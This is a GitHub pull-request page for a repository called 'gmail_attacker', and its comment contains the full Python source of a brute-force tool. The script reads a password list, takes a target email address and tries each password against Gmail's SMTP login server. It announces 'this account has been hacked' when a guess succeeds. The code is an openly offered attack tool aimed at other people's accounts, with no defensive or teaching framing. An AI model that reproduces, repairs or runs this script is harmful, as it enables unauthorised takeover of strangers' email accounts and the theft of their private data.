AyoubSirai / gmail_attacker

python script for hack gmail account using brute force attack
502 stars 115 forks source link

Update gmail_attacker.py #13

Open Alpha890 opened 3 years ago

Alpha890 commented 3 years ago

!/usr/bin/python

'''coded by alpha890'''

import smtplib from os import system

def main(): print '=================================================' print ' coded by alpha890 ' print '=================================================' print ' ++++++++++++++++++++ ' print '\n ' print ' ,. ' print ' ' print ' ' print ' ' print ' ,. ' print ' ,-.) ' print ' ( _/-\\-._ ' print ' /,|--.,-^| , ' print ' _| |`-./|| , | ' print ' | -, / | / / ' print ' | || | / / ' print 'r-.||/ / / ' print ' ,-< )-/./ / ' print ' \ --- \ / / / ' print ' | |./ / ' print ' / // / ' print ' \_/ \ |/ / ' print ' | | _,^- / / ' print ' | , `` (\/ /_ ' print ' \,.->._ \X-=/^ ' print ' ( /-._//^' print 'Y-.__(} ' print ' | {__) ' print ' () '

main() print '[1] start the brute force attack' print '[2] exit' option = input('==>') if option == 1: file_path = raw_input('enter the path of passwords file :') else: system('clear') exit() pass_file = open(file_path,'r') pass_list = pass_file.readlines() def login(): i = 0 user_name = raw_input('enter the target email :') server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() for password in pass_list: i = i + 1 print str(i) + '/' + str(len(pass_list)) try: server.login(username, password) system('clear') main() print '\n' print '[+] this account has been hacked, password :' + password + ' ^^' break except smtplib.SMTPAuthenticationError as e: error = str(e) if error[14] == '<': system('clear') main() print '[+] this account has been hacked, password :' + password + ' ^_^'

        break
     else:
        print '[!] password not found => ' + password

login()